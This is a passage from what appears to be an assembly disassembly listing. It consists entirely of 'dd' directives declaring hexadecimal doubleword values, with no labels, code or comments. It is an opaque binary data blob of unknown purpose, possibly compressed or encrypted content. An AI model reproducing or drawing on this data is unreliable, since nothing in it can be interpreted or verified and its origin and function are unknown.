2874411Ch, 64945197h, 35F183A4h, 0F01AB9FFh dd 73E2F53Ah, 178500F9h, 0CA3749Fh, 9041B0Eh, 974D9442h dd 12404D8h, 23057199h, 72751CE5h, 0A5AE8414h, 0B8F95490h dd 1CBA0E72h, 0F640F2BFh, 0DB5F6557h, 7D0C9B7Bh, 91AE6431h dd 0EC484E63h, 0AC201385h, 0A1C69022h, 77D7F18Ch, 9ADEBD8h dd 39904CFDh, 25C93007h, 9BAC4974h, 0D81B9010h, 0D1A02404h dd 58901F67h, 0E8366181h, 0BBEC0084h, 0FFD33142h, 18571360h dd 488D0098h, 86D4D595h, 1AAC4467h, 749E4F00h, 70F8F675h dd 0C0A6EEBCh, 5BBB8171h dd 5D134F53h, 3AC7E55h, 13AF0074h, 46A60EC2h, 40246016h dd 9A0A848Ch, 76002C49h, 4C5E159Eh, 31370BCAh, 0A41BF274h dd 747FE022h, 0EA58989Eh, 143205BDh, 101C139Bh, 0C4497C95h dd 30F41E85h, 8F951C94h, 0C8B3D402h, 0C68770DFh, 0BA589Ch dd 54311A00h, 47B6BF51h, 0A205917Ch, 0E428965Eh, 209CB022h dd 3ED1268Dh, 0C0A20600h, 93899F52h, 0A150663h, 76921788h dd 92B8D649h, 3C3C7212h, 5999609Dh, 0F6A2A0Dh, 0B425E100h dd 6F2973DCh, 0B9060AD0h, 43B894E5h, 39A0BF60h, 0F8ED1A01h dd 0ED00DD70h, 61AE1F22h, 0B8976992h, 0E0F34C14h, 6B58B582h dd 0C8D37C98h, 7130C749h, 5B5C12F0h, 78DC0D8h, 5C94589Eh dd 0E5078C22h, 0E5B64F31h, 152C9ECEh, 988E0Dh, 852422B3h dd 0F83B7C8h, 0BD5FFB87h, 0B46F3380h, 0C5033A94h, 70D52B6Dh dd 89B076B5h, 46C76BCh, 0AE646FD3h, 0C3FA3040h, 0F0005B80h dd 0ACC4D4E9h, 383CFBF3h, 0DD3F736Eh, 857EA980h, 5416D8DAh dd 137A07ECh, 0F373600Ch, 0BD21DFh, 0DB694B9Fh, 45D499AEh dd 391AAF00h, 0C971B9EFh, 17FD0CCCh, 431D912h, 924CD500h dd 0FB65509Dh, 69983B85h, 934D9500h, 308A7CCFh, 0C8636F00h dd 3ECA1E4Bh, 847D01A2h, 485D043h, 6402D031h, 0EF588700h dd 0FC57A092h, 6FA30651h, 28390FEAh, 462B4500h, 29564095h dd 7F28FAA4h, 0B463001Eh, 0DA27AA4Ch, 1A337DA1h, 0B34E5953h dd 1840A684h, 183A95EAh, 0CB3E7BEFh, 626A0030h, 0A752E306h dd 995D0688h, 7101FD9Ah, 0C90C640Ch, 504187h, 5876E4EEh dd 8F2FAB8Eh, 0A814620Ch, 39B2052h, 5E1B3EA0h, 5DB07349h dd 7C0C2A20h, 4003B4C5h, 0AA81078Fh, 0B05A78C6h, 156924E8h dd 34802100h, 0F31DECE1h, 5E520038h, 32A25394h, 3D0C7177h dd 0D1C8954Dh, 92811539h, 17C4A462h, 234E423Dh, 9B78847Eh dd 0A3FAE840h, 0AE01B767h, 8804ED49h, 9980B6C5h, 0ECC82E5h dd 0D50031A0h, 61F0D173h, 0CDD9B01h, 0B8270C30h, 0D897071Eh dd 95AB0A7Eh, 408C4D4Fh, 70116765h, 8C64323Ah, 0C092B229h dd 51FB3045h, 18AE5B80h, 1648DA00h, 70C78263h, 7E677D1Eh dd 1AC60092h, 0E2C26B19h, 0EB003FE5h, 0DF05A214h, 789125Ah dd 88F4629Ah, 1A0980BAh, 0B900F9C4h, 879B41D1h, 1B5130h dd 8443D52Fh, 8FBAE746h, 0D6778001h, 0B77ED9C0h, 2AB948BBh dd 32A26A4h, 3B01918Ch, 705DD790h, 5B5814F0h, 46037199h dd 0C972C0D5h, 0DD6C90A8h, 44CF00F1h, 57FB2789h, 0E0CCA07h dd 0A1E98F77h, 0E2220339h, 0CC96E394h, 0FCF0BAF9h, 3C00C248h dd 9184522Dh, 0C235344h, 0E1F49440h, 0FE88AA98h, 0CFB23BCEh dd 50CA0498h, 8D009EBAh, 0A6C9242Fh, 3A6568BEh, 63174BC6h dd 180A030Eh, 0A803217Ch, 0EA307212h, 53380010h, 0E0C7F671h dd 8C00B78Eh, 0DB67787Fh, 69F8ADh, 4B5AE2B6h, 0A717B3Ch dd 247DF61Dh, 44552601h, 0D180DE8Fh, 0E1AC282h, 0FFC4B2Fh dd 4701CD98h, 0A0D85E3h, 0C3DC49CBh, 18E8E089h, 78AD7DF3h dd 0FB180CC1h, 89D931A2h, 88723Ah, 78468CEFh, 0F8AE81CBh dd 8AB95303h, 0AC2BA2h, 8C52B629h, 0B32F8003h, 0C204AA15h dd 5DB10084h, 6B5E07A5h, 3FF00A51h, 17EC7EC4h, 417D19BFh dd 0A027E86Dh, 55F5C800h, 222C66E6h, 0DF84008Eh, 8DFC101Eh dd 9778F2ACh, 38B86404h, 0C3C7A30Ch, 88BB12D0h, 0AB0B0ACBh dd 805447B4h, 599DFEE8h, 0B124C707h, 8A1D2C71h, 57709400h dd 0EC302F44h, 0B0260177h, 0C2B3F52h, 66488ECCh, 0BA8746CAh dd 4F8000A0h, 0F7FA6321h, 0B1547BC9h, 28307290h, 0EC56E95Ch dd 9B19C078h, 0EF8D2211h, 0B91CAE00h, 0E3C5B638h, 844D29DEh dd 0FAB30558h, 0E1E780A2h, 0F7015D64h, 302B4432h, 0CC41D328h dd 9C25A163h, 56F240E2h, 39C324D5h, 12BD00E5h, 0D40A0852h dd 0B853F276h, 15FF26BCh, 71A18102h, 0D0E1E1E4h, 2725C24h dd 61840279h, 0F8829553h, 0CF23DB05h, 0D54100C9h, 6ADF59E9h dd 0A20E742Dh, 0BDCEB36Ch, 0ED0CDDC5h, 71B7E437h, 0C90A3CBAh dd 65C09C64h, 30B60A6Dh, 4DC9F663h, 0CA00DB99h, 0FBEA0D4Eh dd 3134E5h, 0FDEB1B9Bh, 32F4C5F9h, 0BF285A09h, 8F7C03E7h dd 0B7A101A8h, 449AC71Ch, 52BB7011h, 25F9DE05h, 0FC354802h dd 3E208437h, 0A3BE751h, 0A91DEBABh, 0FF9807F3h, 56295075h dd 0C98399Ah, 22605448h, 4A721B1Ch, 8B0B1FAh, 20904BBDh dd 4467C8AEh, 80AFF78Ah, 3EF2C8E1h, 0B0EC2416h, 52BCBE04h dd 0C08A3D85h, 81FC67D0h, 8F767FC9h, 0A0259029h, 159A174Eh dd 58F40030h, 0F659B475h, 1E5034DBh, 9006D10h, 87B3D7EFh dd 6098071Dh, 282F18EDh, 3706BB94h, 21B8DF29h, 712B0031h dd 0E2D3D5B4h, 5F78773Bh, 80882240h, 7400295Bh, 47F981B9h dd 18F7DB39h, 402C3E43h, 720B0277h, 87E5502Fh, 0F01CB37h dd 0F883603Ah, 0E8ABBADh, 270140D8h, 5C579400h, 5FE68F30h dd 759D0015h, 5BCBD2Fh, 1100EE4Bh, 0F55A581h, 2A28220Ch dd 1E54BBDFh, 0F2464F29h, 52ED1B0h, 705DDC98h, 2AC7D443h dd 14A10005h, 0AA9D7A0Fh, 82E4E8A6h, 0DC90010Dh, 2D40E016h dd 457F93h, 5A1B9E55h, 92689903h, 0A9A5780Dh, 0DFF08830h dd 6504593h, 660071E7h, 0EDDBAAAEh, 7C0656h, 83E1D9BEh dd 0C49A2759h, 6F3513Eh, 38292862h, 85C30091h, 0DD5CDBFEh dd 0B4A83691h, 7200891Dh, 0D05820F7h, 30C5AE29h, 0B869F379h dd 0CF00A0F5h, 43D2B7D6h, 1B412B24h, 413B900Bh, 0ED7EF2F0h dd 0E6F85506h, 57194D72h, 0C30CB093h, 1AC9E796h, 29207032h dd 80BCB026h, 511D22ADh, 336D1600h, 0F94134FBh, 0E6EAB4h dd 99E404D7h, 90A7AF66h, 1C494A60h, 5B8C8Dh, 5718B462h dd 21039B1Dh, 9C178114h, 3C3A7AE8h, 0E5C05491h, 0F6383300h dd 7AFB305Dh, 11F0579h, 40FDB470h, 45A30FF0h, 4A1CB7ECh dd 0A0094EEEh, 50502CADh, 0CC5E52B8h, 3201F522h, 0DCB5376Ch dd 63CCF114h, 0FEB2008Ch, 57E5736Bh, 751CA454h, 0D146D62h dd 76F4098Ch, 0ED540435h, 40D16080h, 258204D2h, 91157517h dd 0D9CAF704h, 9D0E002Fh, 0D47C336Dh, 0E1012698h, 0D9B344A1h dd 0F0D58FE9h, 65629185h, 829A8079h, 0BB1B23ABh, 0D2E96E36h dd 1D1E03D0h, 1886C907h, 66A332FDh, 0E8F7C143h, 0F64D3FD8h dd 87C4917Bh, 0E39584E2h, 76B94FE9h, 7842244h, 2DF73BB0h dd 60154302h, 83C15Dh, 207538FEh, 7C860366h, 7773A900h dd 3D475F70h, 114937Dh, 0BAAC0EAEh, 7493F275h, 0BF5F0AE0h dd 0B8307660h, 1DA58525h, 84B4B1BDh, 9139B6F7h, 8EE41E74h dd 20763BD1h, 0FC0C1299h, 30BCAE52h, 0E295C1Dh, 680034F0h dd 0ADDF45E9h, 74BB9C4h, 1C24C8D6h, 42418E87h, 2291DE0Ah dd 6CFF00E0h, 648F070Fh, 1E43160Bh, 0E64F093Fh, 28B26018h dd 11007AFEh, 0CDA84195h, 0F03CBBh, 88C475F6h, 616487ECh dd 1DA4514Ch, 207977h, 8EF1962Fh, 7EBA7DD0h, 8924CE03h dd 0E8112223h, 38F53979h, 7426EBC4h, 99046EC4h, 91C091E0h dd 308C2432h, 2423DE07h, 0A3505C0Bh, 1D2C3Dh, 8B3FF859h dd 38F75258h, 900D898h, 82786D99h, 9B25EE56h, 0DF2E0244h dd 412F21BFh, 94C7A810h, 5460ED45h, 0F935C84h, 394CC2BDh dd 67143033h, 5713F910h, 840C6FC8h, 3AD1935h, 48893C76h dd 4EB8C5C2h, 72010C46h, 9F9BC325h, 9891759Ah, 73A1F8Ch dd 28E9E218h, 68FC0ACEh dd 80CCDE90h, 0C51C347Fh, 0CB00560Ah, 40665DD9h, 4C49D85Ah dd 6C460806h, 4CC5913Eh, 58076A64h, 528E9E97h, 2E5EB9F0h dd 20A2014Ch, 6996CBB8h, 841DA2Ch, 49C98030h, 52AB7684h dd 32EAF6h, 0E4073D89h, 0FD78191h, 479F4B00h, 0C821D38h dd 0F18B0508h, 84D3C16Ch, 4930C054h, 0B090F8FDh, 4572E718h dd 92031559h, 918C006Ch, 6A5FF95Ch, 0CD00C4E6h, 0B8FD2D7Ah dd 5CA55781h, 252CC25Dh, 629E364h, 1F1E413Eh, 7B4024DCh dd 68EFE5E6h, 1601F296h, 8D91B45h, 78A688D8h, 708F0C8Ah dd 0AB7D3A00h, 0E284ECh, 7A13A845h, 0F6F3E629h, 7B86A500h dd 5AB2A198h, 0F71609D9h, 58A012C8h, 0D2436F99h, 968E4A9h dd 139C41Ch, 0D77CEB9Eh, 17F47925h, 0D66FB270h, 0DBD0010Ch dd 4D0E204Bh, 589C27B1h, 1E750C04h, 28C11Bh, 8CE8DEB2h dd 58DA53C5h, 98C48B00h, 75AEA69Bh, 3860BB35h, 9BC917Dh dd 2420C391h, 75740D0Bh, 94DAAD00h, 70B8BB40h, 2BF12687h dd 11542640h, 9DB50225h, 0E007ED9Fh, 88508470h, 28A16B1Ah dd 0C7215h, 418312C4h, 282E3442h, 448C570Fh, 9248C37Ch dd 813484B4h, 4CF7BCDCh, 0C9C745Fh, 81B9899Ah, 46199500h dd 0C762E01h, 1DAC2637h, 0DE9A4084h, 9909CBDBh, 8ECAE50Eh dd 143E282h, 82A49B86h, 488044AFh, 5480A891h, 0C1D008CAh dd 0F8BCD900h, 0A759C03h, 0C67102B2h, 10BCB27h, 1E52446Ch dd 24E70080h, 0DD84C17Fh, 0A8FC0009h, 21FA02B2h, 0B73B73BEh dd 38DE8723h, 0BB45B837h, 270FA820h, 540D5981h, 200B897Bh dd 58EA879Ch, 84366300h, 49A32927h, 2CDF40A9h, 2FA1F71Dh dd 0A8984834h, 5110097h, 4CF4AE31h, 1B76C1A0h, 515C7800h dd 262C8BD9h, 16249068h, 20797D85h, 0FDBCFFE8h, 0D2475000h dd 0B65886E0h, 0AC4B7F70h, 0B4ACCh, 6BF76370h, 0F000145h dd 0B66DF6ACh, 0A01BBADEh, 5EBF6Ch, 943B6B72h, 811F8C50h dd 9113A09Bh, 73909827h, 595F5AA7h, 3A8B8489h, 3191F803h dd 75332900h, 8E99F249h, 0A5C900C7h, 0F67A36EFh, 1E004F3Bh dd 9272464h, 7FDD91C8h, 0B0384C5Ch, 479D8603h, 1C926A25h dd 0EF0FB453h, 9A07A228h, 984A0EEh, 7978748Bh, 15EB088h dd 2725936Eh, 283B43F7h, 67088EC8h, 0CDC4C52Dh, 76C52097h dd 943AF098h, 2EBFE2B4h, 39231221h, 3BADF064h, 3A925BBBh dd 0C5044475h, 101E0BD4h, 0A971B0h, 854D8C2h, 0A91F39Dh dd 8ACE2F00h, 0CDC3A8FBh, 958C106Bh, 6DC85057h, 72AEAD44h dd 0FB70AB07h, 0F524E7E0h, 809914C1h, 17D5036h, 6259E3Ah dd 36341897h, 540F2E40h, 0EC6707E1h, 8C0E598Fh, 0D0280164h dd 7D3645A8h, 2AC1AA13h, 0DBFEEC20h, 0E0C00008h, 0D16932E4h dd 0BE3AF847h, 559F8027h, 80A4ACECh, 1DA512BDh, 0D2891DB2h dd 0ED8CD97Bh, 221E113Bh, 91AD9050h, 0E0580077h, 19089552h dd 1D30C702h, 0E5C8211Ah, 58123975h, 0A2B64280h, 3649A8FDh dd 7AD650Bh, 14280B7Fh, 1218D6D0h, 0B0C4906Dh, 7002FD2Ah dd 0D506C738h, 0C388B075h, 71576296h, 8CA0FA44h, 2EDB34D8h dd 855ECD00h, 1F4C5DF6h, 623D022Ah, 0B6C126A1h, 65726C50h dd 8C6C5F24h, 0F91ECD43h, 0C22C461h, 40D06D11h, 0F11FC57Ch dd 6655DF97h, 95FDC494h, 0BCE9CA83h, 29EF0082h, 45155884h dd 78532EE2h, 6DE3C030h, 0D34C3E35h, 0DDB400F6h, 0AF5B8F74h dd 0C051AF0h, 5D0E41BCh, 10D80D8h, 0BF767BA1h, 8220B8DEh dd 84105A1h, 1DC06056h, 0F09D2807h, 1CB62244h, 69E17764h dd 45A30E40h, 4896AFB8h, 4D8EA585h, 0A93F600Dh, 0C629BC1h dd 0C28800Ch, 5A00A119h, 666B7A6Fh, 1C8D6Eh, 1570E6C1h dd 331B4AB9h, 0B412AEE2h, 6C0E50F5h, 231040DCh, 13732C5Fh dd 88120AADh, 0D600CB60h, 0B34EA102h, 1FBB8C03h, 964449Dh dd 0EC020F6Bh, 982A2184h, 28531EE3h, 92AA19h, 0ECD182A6h dd 86B25506h, 202EB79h, 0F234BC2Dh, 110738Dh, 95F464Eh dd 0AE082444h, 9EB01D4Ch, 0F7002F6Ch, 8C63A5C0h, 0A4612494h dd 48FB12E8h, 0A0B10DA0h, 66112EBEh, 0AF827B9h, 9C07292Bh dd 7E5B6580h, 797A23h, 2E124858h, 0BBC71CA6h, 4195910Fh dd 3215EEF2h, 0C49C9465h, 6820F180h, 98AD1EFDh, 99218069h dd 7D3DFA6Ah, 804A00B8h, 0F02BBC2Ch, 0F8442076h, 7BD52F00h dd 93B9AD95h, 203E00C9h, 0AE23E405h, 0A53CD1E7h, 841F2484h dd 0E5279840h, 5352079Bh, 0D35B4FDEh, 0DA909E81h, 0F48E469h dd 77F70350h, 89768059h, 0D9E4D146h, 0C32E2E08h, 0F49A5010h dd 9EBBF788h, 0AC3AB82Ch, 843E0C54h, 148A9922h, 88B98128h dd 0B8B228DAh, 1154E852h, 495491D0h, 4DFC9DF0h, 46C88B00h dd 89243AC5h, 0ECA34975h, 0CF9584C0h, 0A13199BBh, 0F0CBD8E1h dd 4FDB421h, 0B99B6458h, 0AD7C6074h, 0BEE89D32h, 6D4D39h dd 1E2B5C06h, 227FBF7h, 0F2FC5494h, 78EEBA51h, 87290E0Eh dd 22E4941Dh, 0BAC325BCh, 0A1289890h, 8C057F1Eh, 4878C2CBh dd 2D0A48Ch, 43B303Dh, 0C4CE0B71h, 9ECA75Ch, 843DDC42h dd 8F4053DCh, 2078336Eh, 0EA72BB00h, 70D47669h, 0BF400239h dd 0F2E23D45h, 280E2CECh, 0B50F6807h, 4FA8D4C4h, 0D0656C44h dd 5289A144h, 0B8A7FCD8h, 1C540074h, 4B509B48h, 9E0480BEh dd 0DBCF62Eh, 0E37B78C0h, 0C7F0A232h, 87C38900h, 547138EAh dd 49203400h, 2521E76Ah, 0D0195F95h, 2273E077h, 3CCE8880h dd 3008BE9h, 1A080C7Dh, 0CF09D01Ch, 6A3E8437h, 0B00815Ch dd 0FC24869Bh, 9CB1587Dh, 0F851DDB2h, 0EE8EE000h, 0E2E979h dd 0B428F2F3h, 207DF0D9h, 0B930C40Bh, 7C78AACFh, 7099A564h dd 0A286D839h, 773D293Dh, 95948271h, 7B7AEA93h, 0B9C30B6Ch dd 8E803464h, 9926A176h, 0A63EF901h, 0CC91103Ah, 4054AE1Fh dd 11A1BA59h, 8CA83491h, 8376CB55h, 170FC09h, 0FAE498ADh dd 61BF000Fh, 0DF31CF2Bh, 29022A57h, 0FFDDBD96h, 4640CE19h dd 119C57A2h, 0F714F4A0h, 99CE84CAh, 0C625B91h, 0AC9A2022h dd 6102BA8Eh, 794648C8h, 0C33924F6h, 42F0B234h, 681DD557h dd 16448B5Eh, 1488E53Ch, 26CE618h, 38B01482h, 0A640D3BCh dd 5E09E842h, 41A991C8h, 6066286Ch, 102CC200h, 6442D9E7h dd 0B1DD02FCh, 3C2469C0h, 90CBF4h, 33796578h, 5B6D2EECh dd 0C638437Ch, 0D0A0C9FDh, 1B24019Ch, 279FBB94h, 0B7846832h dd 502757A8h, 114F1B60h, 23F73909h, 0C193F400h, 4748B201h dd 0F83ED42Ah, 82EA6A3Bh, 6BF724A4h, 95FCC97Fh, 0F2797710h dd 1BB998A8h, 0BFC9A600h, 7C54ACABh, 929D0C69h, 29AE2361h dd 5872E3h, 0CC4CEE0Ah, 1C148B60h, 879FA43Ch, 0C061BEA0h dd 0EE5791BFh, 44C9B0BCh, 0F130040h, 9D8BB3E6h, 3F3FD1C4h dd 8F2880E9h, 0FAD3F608h, 676F4F22h, 0DC38795Ch, 4309B574h dd 0E8900F37h, 213E24h, 445CEB75h, 0D0AFE119h, 57132307h dd 0D9C7B1DFh, 28B82FF1h, 0C8013022h, 0D4E25AB5h, 915430CCh dd 0E8680F89h, 5F76F0C1h, 5088220Ah, 0F91347B8h, 9C201F32h dd 68BF6Eh, 608B1016h, 0B8D20361h, 0BC0B0400h, 0D451923Fh dd 6F980993h, 800BC166h, 0EE226501h, 0BC72D285h, 7E33D904h dd 6CDC8460h, 1A184492h, 7CA47252h, 8139846Fh, 3A43F60Fh dd 191E118Ch, 2103B619h, 78E9AA3Dh, 73CCA894h, 0E080B677h dd 7FDA0C5h, 46026E0Fh, 44010BB4h, 0F3A5007Ch, 0CC6F2D24h dd 0F14C49C8h, 95CE0E10h dd 0C8C1776Dh, 0B215F7AEh, 0E6DB0084h, 0FC30203Dh, 0A6FE17D3h dd 30485C34h, 0A198AED8h, 0B509A078h, 8187BFE6h, 91DEFFBCh dd 0B1896C47h, 10C8F838h, 0D4751759h, 306499AAh, 7FE49520h dd 201E212Fh, 4B8539A0h, 0B2DB0092h, 6C109E5Ch, 67760E8Ah dd 7AE8D40Bh, 0EA5C1C37h, 797D38h, 710EDFAEh, 83526B6Fh dd 0C9294F04h, 78E49991h, 87DF2827h, 0B3661758h, 0FBC49880h dd 1E0C7600h, 298FBB99h, 0C47D0026h, 7109AD49h, 58B9CEF7h dd 8BFC0B15h, 26C8C726h, 0D65A0194h, 842395D8h, 1E471A79h dd 8C5CE8D1h, 0A2446414h, 5C4CD0h, 25D9ED74h, 3C4BAE6h dd 0FEE02FDh, 2AA89508h, 767A2E4Eh, 0EC0215F0h, 75790E5Ah dd 0F4CC4E80h, 7AFCA8F1h, 0FAAE0EBBh, 8B65D50Bh, 25D8B385h dd 24DC4535h, 0A86C157Ch, 9012D121h, 74C62020h, 76E70037h dd 0D0C8338Ah, 0F0994421h, 0FA569200h, 1696B045h, 3022A4Ch dd 7B87D2C8h, 94D6F2CFh, 619380B9h, 0FE26F880h, 3017C12Eh dd 9D99C401h, 242D3530h, 0D18EE488h, 0D9432223h, 0B9C6E2F2h dd 58C2E19Ch, 74AF59B4h, 81B882A4h, 504429h, 0A1CC2DC9h dd 0D735FBE3h, 817DC177h, 48A2AD00h, 3BA33460h, 41D89479h dd 2A84DF37h, 77DD828h, 4265C2F0h, 261320CCh, 6C03B4DFh dd 0C7CAE595h, 270AB9C6h, 0FCE4438h, 0BBAEC090h, 0A07B0926h dd 5D0D0BEBh, 92C42476h, 5244495Ch, 6CE600E0h, 26D2F52Ah dd 0B413139Ch, 0B0489119h, 113E8E05h, 549AA980h, 64EEE461h dd 38606D2Eh, 5A5C10ADh, 0C32D00D1h, 0FCCAAE24h, 0B8B33504h dd 6C88F812h, 15F304E9h, 0C82AD1A7h, 39000778h, 0B9229612h dd 27067Fh, 9EF7C997h, 149A16D8h, 0B4400C00h, 0DF218CFAh dd 0AC3099BBh, 1C18C944h, 8B2F1176h, 4CDCE7h, 0A6EFE456h dd 85EEE1C5h, 42AA6617h, 3B2748D8h, 5F80EDA1h, 720271F1h dd 0C49C7D25h, 59E6E50Ch, 670C0080h, 9966D906h, 0AD4AA5BDh dd 18882012h, 6CDF0008h, 87D1288Bh, 0B902D2C0h, 0A8AB3C0Fh dd 0E68CB9B2h, 3C912EA7h, 2820D2A2h, 7C47581h, 5B38C1B4h dd 0A834CB84h, 710FE200h, 6A82961Fh, 93349880h, 98E2074Ch dd 82DC5A6Dh, 0EC9B0711h, 0A3A3482h, 70000C53h, 4C6BF60Ch dd 0B4924866h, 7B285807h, 704D3B42h, 0C9791119h, 0AE88383Ch dd 0C8C78445h, 843491E8h, 64E47970h, 9B250067h, 0FAAAA31Bh dd 0D00E7DB9h, 0A027B4D6h, 9C10EA94h, 66790CC2h, 53690D28h dd 0F3C82600h, 32A22F94h, 67760020h, 0D88D4B50h, 364EDE64h dd 1831C069h, 6880086Ch, 61E6AD43h, 0A9F624EEh, 9D254F0Eh dd 0D47780AFh, 0A1F4D22Ch, 26126CA8h, 28A6CC71h, 84E4BF08h dd 0F5370A1Ah, 51E80748h, 639103D6h, 1D9B00B4h, 0DABB5699h dd 3ECC279Ah, 284D18B6h, 70C84A5Ch, 2BD60737h, 70A8385Ch dd 0DAE01E54h, 79167896h, 98ADAC90h, 64E2007Fh, 0DD9C6DB1h dd 1A00F648h, 5D68D951h, 1385119Fh, 0D1B169A5h, 1122BF84h dd 402E771Ah, 2064ADE0h, 16249584h, 0C787305Fh, 108BDE87h dd 1F73360Ch, 2CC67D13h, 51D502F4h, 585C03ECh, 10C90112h dd 8CC73C62h, 7B43003Ah, 0A3143C54h, 16B8D053h, 0A4C9A8ECh dd 28662BD2h, 9E9B990Bh, 2C088E80h, 0B4FDC8CEh, 4774080Ch dd 6401594h, 0D1F85382h, 3B280004h, 296BF00Bh, 0EB09C636h dd 232C9E25h, 0A210374Ch, 0BBDCE8B7h, 77084E6h, 1B46758h dd 2987341Eh, 0A8416A8h, 0E44D5DC4h, 21446C54h, 29500394h dd 4CE9CD5Ah, 0F459DFAAh, 0B4713703h, 1E392AE1h, 0EE3C90B0h dd 5B74DAh, 54713FE7h, 0F84CCC08h, 41DC5E54h, 0A2B0C354h dd 0BC2FAD20h, 64CA40B8h, 8C00028Eh, 6A2CACC4h, 5F900Bh dd 0F5E3DF60h, 791A3CB5h, 0AFC7C601h, 12AE9454h, 18ECE1CAh dd 0F00C7871h, 0B81CB629h, 0CE808B00h, 0B87C01CBh, 2F8E320Eh dd 400D4F1Bh, 904A55A1h, 0BF9C048h, 0F9089138h, 14AF8307h dd 29A30DF0h, 89583296h, 1866AC50h, 0F09BF7Ch, 887507FCh dd 4CA7A8C4h, 0C8F4022Ch, 915CB97Eh, 13008844h, 45E8D9BCh dd 14AB051Ah, 0ACBB9CACh, 77184077h, 8F0D0C05h, 0D0F0C6E3h dd 0CB290126h, 32E7F121h, 3483339h, 716BC5E4h, 4D7DE047h dd 0B0780E4Fh, 473F20ADh, 466C732Fh, 0E58585Fh, 0C9C83F0Ah dd 1F4D0354h, 80CB7622h, 4B8D6C70h, 41C89D52h, 622C8098h dd 623087D0h, 0DAD958E1h, 0E9BC60FEh, 72012A64h, 512CA238h dd 96919028h, 8B0C88h, 25E352Eh, 71859DDCh, 5300A772h dd 0F0506C68h, 209E2629h, 640A8AE7h, 2454C2DCh, 0CAA2043Ah dd 0D0A01604h, 0B9060C8Eh, 9F110C76h, 0D090F728h, 0E8C9F62Ch dd 0D062124Eh, 299C10CEh, 0BB92A8C2h, 720F003Fh, 6A0F9862h dd 2175A5D3h, 279D1671h, 6B005062h, 0C4A2123Eh, 997C6AC3h dd 4476C213h, 7F607C90h, 18D7725h, 19D633Ch, 2C0F0989h dd 659A8080h, 0AE69D1h, 0FD2734CDh, 0B54263Eh, 292AAA00h dd 947BE07h, 54125076h, 0BBEC063Fh, 0D82443CAh, 4C34405Bh dd 0CE27C580h, 207A5B56h, 5021E248h, 0C370ABFEh, 0FE6C5900h dd 0A5809FB4h, 80FD586Fh, 1D36517h, 66382938h, 0BE5180CAh dd 0B3217362h, 89AC74A0h, 347915h, 13D2F9E5h, 139A4BD9h dd 39E32E8h, 4644A0BFh, 1937898h, 0A13E1C0Ah, 0A600B996h dd 40632204h, 0EE20C1E8h, 8A98C0h, 125D9572h, 0D2BEC3F0h dd 45A4428h, 7FDD9D00h, 2CA2CEA7h, 942A0030h, 7B1B2959h dd 1C07A6D1h, 2397DE04h, 0E843D310h, 19CA6034h, 8E8D6677h dd 220C13Eh, 431375FCh, 4DC4A0A5h, 3D3B9B5Ch, 995AACBh dd 0FC52B861h, 4180B09Ah, 0AEA19E15h, 22C5DF05h, 6800230Fh dd 383919E0h, 0D345809Fh, 0DF108404h, 344A21BEh, 0AE11B0h dd 4427C012h, 19820B5h, 0DD0F31FCh, 0E4F4BBD8h, 6D138526h dd 0E8D23B89h, 427CC691h, 7D11096Bh, 918483A5h, 302105F0h dd 0F707390h, 88D3C3D4h, 0A8776F4h, 96F04744h, 3C482091h dd 0EFE87F95h, 0A968A600h, 0ED458005h, 1BB9034Bh, 0C7DEF4FCh dd 0A480D0BAh, 0E6B34971h, 81AC764Ch, 4A9B98AEh, 5CB84EC8h dd 3532D895h, 9C406471h, 13023474h, 91A1270h, 84C8A9DAh dd 18CA5564h, 0E72B8400h, 0B17FAC0Bh, 7C003679h, 0FF1EADE2h dd 7C711688h, 0B68DB8C4h, 0C4D824FCh, 8094E812h, 83B6DBBCh dd 6476DAh, 0F2DEB00Dh, 75E29722h, 0B53C9EFEh, 2AACD82Ah dd 9122A007h, 7CE0A25Ch, 9EA78344h, 77B1D507h, 28C287Ah dd 9D1B7112h, 40146662h, 0C2413C23h, 0B80D6420h, 97154E40h dd 93708074h, 710E2A34h, 20C7FAD1h, 0A95FAC9Ah, 54FB5DEEh dd 40DD9185h, 0B8774994h, 0C5F0E3CCh, 5FC39200h, 248C615Ch dd 0EC514848h, 47F5390Eh, 0A1283560h, 0E200FA53h, 0A3A0A598h dd 74504D82h, 0B9E12CBh, 642809E3h, 0F0956480h, 42E85ACCh dd 299D03Ch, 0D8B8613Eh, 4E207607h, 0B50C7080h, 1800B20Ah dd 40D7628h, 0FF7C9D2h, 0BB1FD145h, 2C13CC8Eh, 0A0862764h dd 98D76A14h, 0D0664C2Ch, 44105FC4h, 0D4B57976h, 97F0B8F9h dd 41C1EED7h, 3964C10Ch, 409124E0h, 0A59BD040h, 0FE970036h dd 9EA26E16h, 58AECE6h, 548376C8h, 1504FCDEh, 99B94004h dd 44A525h, 2A52CE77h, 77D2919h, 81401C96h, 73D5006h, 20D72E32h dd 0E313E080h, 0D931C3CCh, 6BE6193Ch, 121C5F3Eh, 0FE0A4BDh dd 1AA32804h, 0B0C37120h, 76AFA91Eh, 8B80C038h, 0B83CEF79h dd 63115807h dd 5270DFA4h, 52D804E4h, 7E079478h, 60A708C1h, 6F5F702Bh dd 7CBBEC94h, 0F31D010Fh, 1371C0BDh, 1EFB996Bh, 91C0D93h dd 0F05A392Dh, 2190AE0Fh, 9BCC01B8h, 2AD1E8BDh, 1900982Dh dd 0BB50C763h, 0AD0106D0h, 0DE48FC75h, 684157BEh, 8078115Ah dd 0C0F8BA84h, 22FCC8D9h, 1400B6B8h, 0D4E8A2F9h, 4B52082h dd 5F0DAD85h, 14E0A274h, 16CC2EE1h, 3831A170h, 387C9CC3h dd 47002494h, 95A82C4Dh, 9005263Fh, 28D12343h, 805D084h dd 14043E09h, 2CE2A207h, 16E9E01h, 80CF880Fh, 4002B560h dd 24BDF0FDh, 415C7129h, 3E2052A2h, 1C9EB470h, 3942006Fh dd 30548197h, 0BB580514h, 1E080079h, 0ECCC7B28h, 0B18C1373h dd 69488155h, 83502287h, 8028C0F3h, 0B236562h, 6FA63BEAh dd 813CFCA0h, 6B60C380h, 27892F81h, 86954CDh, 21843885h dd 0D01D9B96h, 4523FDCCh, 0CBA59107h, 0D87224A9h, 0BF744077h dd 1150270h, 2F1D6637h, 20651600h, 0F0170139h, 4312CA6Fh dd 0F80606Bh, 88292724h, 0F164C640h, 81013AEDh, 0CC7E9882h dd 0B0E0EB59h, 3E722848h, 0E562D90Ch, 3F3891Ah, 0F96C74A4h dd 2E8815A3h, 0C40CE129h, 0C0C86DE6h, 0CD381387h, 60384A9Bh dd 9D8040D0h, 220908CCh, 70DE4C27h, 4452447Ch, 2E29F960h dd 0E7ACD3Bh, 0A4933D1Ah, 73368840h, 0E6E43EB7h, 5F9D3Fh dd 0B3317201h, 